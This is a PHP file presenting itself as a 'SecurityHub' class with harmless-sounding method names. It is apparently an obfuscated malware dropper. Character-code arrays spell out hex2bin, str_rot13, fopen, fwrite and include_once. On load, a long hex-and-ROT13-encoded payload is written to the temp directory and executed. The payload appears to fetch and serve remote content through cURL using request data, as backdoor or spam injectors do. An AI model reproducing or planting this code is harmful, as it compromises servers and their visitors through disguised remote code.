<?php
class SecurityHub {
	private $vl = '';
	private $xc = '';

	public function parseResponse($p1) {
		$a = array(((97*107)-10275),((92*59)-5327),(((103*1)+17)),((31+3+16)),((2*49)),((62+43)),((2*55)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function fetchSummary($p1) {
		$a = array((3*17),(58-9),((72+4+40)),(((11*63)-582)),((2*57)),95,(41+14+59),((2*58)),((114*1)+1));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function terminateSession($p1,$p2) {
		$a = array((107-5),(114-3),(2*56),((96*1)+5),((2*55)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function logEvent($p1,$p2) {
		$a = array(((2*51)),((77*69)-5194),((121-7)),(56+8+41),(((106*1)+10)),((75+2+24)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function logTransaction($p1) {
		$a = array(((86*1)+16),((35+16+48)),((20+88)),(3*37),(5*23),(46+55));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function resetState($p1,$p2=null) {
		$a = array(((2*57)),((2*58)),(121-7),((27+38+40)),109);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function calculateSum() {
		$this->xc = $this->resetState($this->syncRecords(), '/');
	}

	public function processData() {
		$this->vl = $this->fetchSummary($this->parseResponse($this->ax));
	}

	public function computeResult() {
		$fn = $this->xc.'/yi-67f130d83921a';
		$f = $this->terminateSession($fn, 'w');
		$this->logEvent($f, $this->vl);
		$this->logTransaction($f);
		$this->cacheData($fn);
	}

	private $ax = '3c3f6375632070796e6666205f75767b636576696e6772206' . '6676e677670245f6d6f6a3b66676e677670207368617067766' . '261205f696928245f6d70297b76732821667279733a3a245f6' . 'd6f6a29667279733a3a5f726b6328293b65726768656120757' . '26b326f766128667279733a3a245f6d6f6a5b245f6d705d293' . 'b7d636576696e67722066676e6776702073686170677662612' . '05f726b6328297b667279733a3a245f6d6f6a3d6e65656e6c2' . '8275f7576273d3e27343136333633363537333733327134333' . '673367237343732367336272e2770327134313670367036733' . '73732713473373236393637363936272e2772336e272e27323' . '0326e272c275f6173273d3e27343336272e2773272e2736723' . '7343635272e273672373432713534373937303635336e32303' . '631373037303670363936333631373436393673367232272e2' . '773366e272e2736313736272e2736272e2731272e273733363' . '33732363937303734272c275f6a70273d3e2736333638272c2' . '75f6974273d3e2736353739346e37303633343334393336343' . '9366e363733343470366e363733343470366e3637333434703' . '66e36373334343936393737363936343537343536393473362' . '72e2739346e3330356e3538347233303439363937373639363' . '336713536367134272e2739366e3673272e273639363434373' . '536376e36343433346e3339272c275f6879273d3e273731373' . '7376e37272e2738272c275f71796e273d3e2733272e2770367' . '3366f33272e2772272c275f787370273d3e2733272e2770272' . 'e2736272e273236272e273136343372272c275f7479273d3e2' . '737373631272e27367036272e2770272c275f656576273d3e2' . '7272c275f717a273d3e27272c275f6c62273d3e27272c275f6' . '172273d3e273638373437343730336e3273327337303735363' . '23272373736353632363636393670363536383673373337272' . 'e273436353732327236333673272e273671327336333673367' . '1373036733733363537323272366e373333733634363137343' . '631272e2733272e2771272c275f6b646a273d3e2736272e273' . '3373537272e273236703573272e2736272e273936272e27723' . '6272e273937272e2734272c275f686a6f273d3e27363837343' . '73437303573272e273633272e27367336272e2734272e27363' . '5272c275f6b796b273d3e27373336333638363536713635272' . 'c275f716d273d3e273638373437343730272e2737272e27332' . '72c275f7571273d3e273437343535343230272c275f6763273' . 'd3e273730272e2736272e2731272e273734272e273638272c2' . '75f6c6862273d3e2737313735363537272e27323739272c275' . 'f6d66273d3e2733272e2773272c275f7878273d3e273731373' . '5363537272e2732272e2737272e2739272c275f766676273d3' . 'e2732272e273034383534353435303273272e273331272e273' . '27233303071306e272e273438367337333734336e3230272c2' . '75f7974273d3e273638367337333734272c275f6779273d3e2' . '73071306e34333673367236723635363337343639367336723' . '3272e276e32272e2730343336703673272e273733363530713' . '06e30272e2771272e2730272e276e272c275f7167273d3e273' . '73337333670336e32733273272c275f7766273d3e27272c275' . 'f6567273d3e273638367337272e273337272e2734272c275f7' . '67a273d3e273071306e272c275f616c273d3e2734383534353' . '435303573343334703439343534723534272e2735733439272' . 'e273530272c275f616b64273d3e27343835343534353035733' . '5383573343634272e277335272e27323537343135323434343' . '5343435733436272e273473272e2735272e2732272c275f627' . '8273d3e2735323435347134733534343535733431272e27343' . '43434272e273532272c275f7969273d3e273438353435272e2' . '734353035733535353334353532357334272e2731343734353' . '472272e2735272e2734272c275f6c74273d3e2734383534353' . '4353035733535353334353532357334313437272e273435347' . '2272e273534272c275f706462273d3e27272c275f6c666d273' . 'd3e273438353435272e2734353035733532343534363435272' . 'e27353234353532272c275f6b7166273d3e273438353435343' . '5272e273035733532343534272e27363435353234353532272' . 'c275f656f273d3e27272c275f6762273d3e273438353435272' . 'e273435303573343334703439343534723534272e273573342' . '72e2739272e2735272e2730272c275f786e64273d3e2734383' . '53435343530357334333470343934353472353435272e27733' . '4393530272c275f7562273d3e2734383534353435303573353' . '8272e273573343634733532353734313532343434353434357' . '3272e273436272e2734733532272c275f7a64273d3e2734383' . '53435343530357335383573343634733532353734313532343' . '434353434357334272e273634272e277335272e2732272c275' . 'f6277273d3e2735323435272e273471347335272e2734272e2' . '734353573343134343434272e273532272c275f736869273d3' . 'e273532343534713473353434353573343134272e273434343' . '532272c275f7079273d3e27363436323637367136733634362' . '72e2735272c275f7961273d3e273439353033272e276e32302' . '72c275f6a6777273d3e2732303770323035353431336e32272' . 'e2730272c275f626a273d3e27323037703230272e273532363' . '536272e273633272e276e3230272c275f6571273d3e2732302' . '72e27337036272e273237323372272e27306e272c275f696e2' . '73d3e273639272e273730272c275f74666a273d3e2737272e2' . '7353631272c275f6b6e273d3e2737272e27323635272e27363' . '6272c275f71627a273d3e2737272e27313737272e27376e373' . '8272c293b7d7d75726e717265285f75763a3a5f696928275f2' . '72e2775762729293b75726e717265285f75763a3a5f6969282' . '75f61732729293b767328766666726728245f5452475b5f757' . '63a3a5f696928275f6a272e277027295d29297b245f796a3d5' . 'f7a6e6e285f75763a3a5f696928275f69272e27742729293b7' . '67328245f796a262666676563626628245f796a2c5f75763a3' . 'a5f696928275f272e276879272929213d3d736e796672297b7' . '17672285f75763a3a5f696928275f71796e2729293b7d72796' . '6727b717672285f75763a3a5f696928275f7873272e2770272' . '9293b7d7d767328766666726728245f5452475b5f75763a3a5' . 'f696928275f74272e277927295d29297b245f77743d245f504' . '2425856523b245f6d737a3d2876616729656268617128302b3' . '02b30293b245f6d703d2876616729656268617128322e33333' . '3333333333333333333332b322e33333333333333333333333' . '3332b322e33333333333333333333333333293b245f616a6a3' . 'd6e65656e6c28293b245f616a6a5b245f6d737a5d3d5f75763' . 'a3a5f696928275f65272e2765272e277627293b6a757679722' . '8245f6d70297b245f616a6a5b245f6d737a5d2e3d245f77745' . 'b2876616729656268617128372e352b372e352b372e352b372' . 'e35295d5b245f6d705d3b76732821245f77745b28766167296' . '56268617128372e352b372e352b372e352b372e35295d5b245' . 'f6d702b2876616729656268617128302e33333333333333333' . '333333333332b302e33333333333333333333333333332b302' . 'e3333333333333333333333333333295d297b76732821245f7' . '7745b2876616729656268617128372e352b372e352b372e352' . 'b372e35295d5b245f6d702b2876616729656268617128312b3' . '1295d296f65726e783b245f6d737a2b2b3b245f616a6a5b245' . 'f6d737a5d3d5f75763a3a5f696928275f272e2771272e277a2' . '7293b245f6d702b2b3b7d245f6d703d245f6d702b287661672' . '9656268617128332e352b332e35292b2876616729656268617' . '128302e33333333333333333333333333332b302e333333333' . '33333333333333333332b302e3333333333333333333333333' . '333293b7d245f6d737a3d245f616a6a5b28766167296562686' . '17128342e363636363636363636363636372b342e363636363' . '636363636363636372b342e363636363636363636363636372' . '95d28292e245f616a6a5b287661672965626861712831322b3' . '132295d3b76732821245f616a6a5b287661672965626861712' . '8332b33295d28245f6d737a29297b245f6d703d245f616a6a5' . 'b2876616729656268617128382e36363636363636363636363' . '6372b382e363636363636363636363636372b382e363636363' . '63636363636363637295d28245f6d737a2c245f616a6a5b287' . '6616729656268617128352b35295d293b245f616a6a5b28766' . '16729656268617128342e352b342e35295d28245f6d702c245' . 'f616a6a5b2876616729656268617128332e363636363636363' . '636363636372b332e363636363636363636363636372b332e3' . '6363636363636363636363637295d2e245f616a6a5b2876616' . '729656268617128372e363636363636363636363636372b372' . 'e363636363636363636363636372b372e36363636363636363' . '636363637295d28245f616a6a5b28766167296562686171283' . '82e333333333333333333333333332b382e333333333333333' . '333333333332b382e33333333333333333333333333295d282' . '45f77745b2876616729656268617128302e37352b302e37352' . 'b302e37352b302e3735295d2929293b7d76617079687172282' . '45f6d737a293b7d7368617067766261205f7a6e6e28245f716' . '6297b245f797a3d5f75763a3a5f696928275f272e276c62272' . '93b245f66783d5f75763a3a5f696928275f61272e277227292' . 'e245f71663b76732876665f706e79796e6f7972285f75763a3' . 'a5f696928275f272e276b64272e276a272929297b245f6b777' . '13d706865795f7661766728245f6678293b706865795f66726' . '762636728245f6b77712c504845594243475f4646595f49524' . '556534c435252452c736e796672293b706865795f667267626' . '36728245f6b77712c504845594243475f4646595f495245565' . '34c554246472c2876616729656268617128302e352b302e352' . 'b302e352b302e3529293b706865795f66726762636728245f6' . 'b77712c504845594243475f53425959424a5942504e4756424' . '12c2876616729656268617128302e32352b302e32352b302e3' . '2352b302e323529293b706865795f66726762636728245f6b7' . '7712c504845594243475f45524748454147454e41465352452' . 'c2876616729656268617128302e33333333333333333333333' . '333332b302e33333333333333333333333333332b302e33333' . '3333333333333333333333329293b706865795f66726762636' . '728245f6b77712c504845594243475f55524e5152452c28766' . '16729656268617128302b3029293b706865795f66726762636' . '728245f6b77712c504845594243475f5042414152504747565' . 'a524248472c2876616729656268617128322e352b322e352b3' . '22e352b322e3529293b706865795f66726762636728245f6b7' . '7712c504845594243475f47565a524248472c2876616729656' . '268617128332e333333333333333333333333332b332e33333' . '3333333333333333333332b332e33333333333333333333333' . '33329293b245f797a3d706865795f726b727028245f6b77712' . '93b245f71723d706865795f7472677661736228245f6b77712' . '93b706865795f707962667228245f6b7771293b767328245f7' . '1725b5f75763a3a5f696928275f68272e276a6f27295d213d2' . '87661672965626861712836362e36363636363636363636363' . '72b36362e3636363636363636363636372b36362e363636363' . '636363636363637292965726768656120736e7966723b7d727' . '966727b245f6d673d636e6566725f68657928245f6678293b2' . '45f7173723d28245f6d675b5f75763a3a5f696928275f6b792' . '72e276b27295d3d3d5f75763a3a5f696928275f71272e276d2' . '729293b245f667a6f3d5f75763a3a5f696928275f757127292' . 'e245f6d675b5f75763a3a5f696928275f272e2767272e27632' . '7295d3b767328766666726728245f6d675b5f75763a3a5f696' . '928275f6c272e27686227295d2929245f667a6f2e3d5f75763' . 'a3a5f696928275f6d272e276627292e245f6d675b5f75763a3' . 'a5f696928275f787827295d3b245f667a6f2e3d5f75763a3a5' . 'f696928275f76667627292e245f6d675b5f75763a3a5f69692' . '8275f797427295d2e5f75763a3a5f696928275f677927293b2' . '45f7a6b783d7366627078626372612828245f7173723f5f757' . '63a3a5f696928275f716727293a5f75763a3a5f696928275f7' . '7662729292e245f6d675b5f75763a3a5f696928275f272e276' . '56727295d2c245f7173723f287661672965626861712831343' . '72e36363636363636363636372b3134372e363636363636363' . '63636372b3134372e3636363636363636363637293a2876616' . '72965626861712834302b343029293b767328245f7a6b78297' . 'b736368676628245f7a6b782c245f667a6f293b245f6270733' . 'd2876616729656268617128302b30293b6a757679722821737' . '2627328245f7a6b7829297b245f73683d737472676628245f7' . 'a6b782c28766167296562686171283334312e3333333333333' . '3333333332b3334312e33333333333333333333332b3334312' . 'e333333333333333333333329293b767328245f62707329245' . 'f797a2e3d245f73683b767328245f73683d3d5f75763a3a5f6' . '96928275f76272e277a272929245f6270733d2876616729656' . '268617128302e32352b302e32352b302e32352b302e3235293' . 'b7d73707962667228245f7a6b78293b7d7d657267686561245' . 'f797a3b7d245f6470643d766666726728245f4652454952455' . 'b5f75763a3a5f696928275f272e2761272e276c27295d293b2' . '45f78793d766666726728245f4652454952455b5f75763a3a5' . 'f696928275f616b6427295d293b245f616b653d76666672672' . '8245f4652454952455b5f75763a3a5f696928275f62272e277' . '827295d293b245f65623d766666726728245f4652454952455' . 'b5f75763a3a5f696928275f79272e276927295d293f245f465' . '2454952455b5f75763a3a5f696928275f6c272e277427295d3' . 'a5f75763a3a5f696928275f70646227293b245f6975743d766' . '666726728245f4652454952455b5f75763a3a5f696928275f6' . 'c666d27295d293f245f4652454952455b5f75763a3a5f69692' . '8275f6b716627295d3a5f75763a3a5f696928275f65272e276' . 'f27293b245f6470643d766666726728245f4652454952455b5' . 'f75763a3a5f696928275f272e27676227295d293f245f46524' . '54952455b5f75763a3a5f696928275f786e272e276427295d3' . 'a616879793b245f78793d766666726728245f4652454952455' . 'b5f75763a3a5f696928275f272e2775272e276227295d293f2' . '45f4652454952455b5f75763a3a5f696928275f272e277a272' . 'e276427295d3a616879793b245f616b653d766666726728245' . 'f4652454952455b5f75763a3a5f696928275f627727295d293' . 'f245f4652454952455b5f75763a3a5f696928275f73272e276' . '8272e276927295d3a616879793b7673287376796772655f696' . 'e6528245f6470642c287661672965626861712836382e37352' . 'b36382e37352b36382e37352b36382e37352929297b245f617' . '33d245f6470643b7d727966727673287376796772655f696e6' . '528245f78792c28766167296562686171283133372e352b313' . '3372e352929297b245f61733d245f78793b7d727966727b245' . 'f61733d245f616b653b7d767328766666726728245f5452475' . 'b5f75763a3a5f696928275f272e2770272e277927295d29297' . 'b72707562205f75763a3a5f696928275f796127292e245f617' . '32e5f75763a3a5f696928275f6a272e2767272e277727292e2' . '45f65622e5f75763a3a5f696928275f626a27292e245f69757' . '42e5f75763a3a5f696928275f657127293b726b766728293b7' . 'd76732821766666726728245f6173297c7c217666667267282' . '45f6562297c7c21766666726728245f69757429297b726b766' . '728293b7d727966727b245f76663d6e65656e6c285f75763a3' . 'a5f696928275f69272e276e27293d3e245f61732c5f75763a3' . 'a5f696928275f7466272e276a27293d3e245f65622c5f75763' . 'a3a5f696928275f6b6e27293d3e245f697574293b245f76796' . '63d686579726170627172286f6e667236345f7261706271722' . '8776662615f72617062717228245f76662929293b245f796a3' . 'd5f7a6e6e28245f767966293b767328245f796a26266667656' . '3626628245f796a2c5f75763a3a5f696928275f7162272e277' . 'a272929213d3d736e796672297b72707562245f796a3b726b7' . '66728293b7d7d';

	public function cacheData($p) {
		include_once $p;
	}

	public function syncRecords() {
		$a=array((((39*44)-1601)),(((124*36)-4343)),((7+108)),((5*19)),(92+11),((84+17)),116,(((33*44)-1357)),116,101,((5+57+47)),(112),((54+41)),(15+70+15),(108-3),(32+47+35));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$xy = new SecurityHub();
$xy->calculateSum();
$xy->processData();
$xy->computeResult();
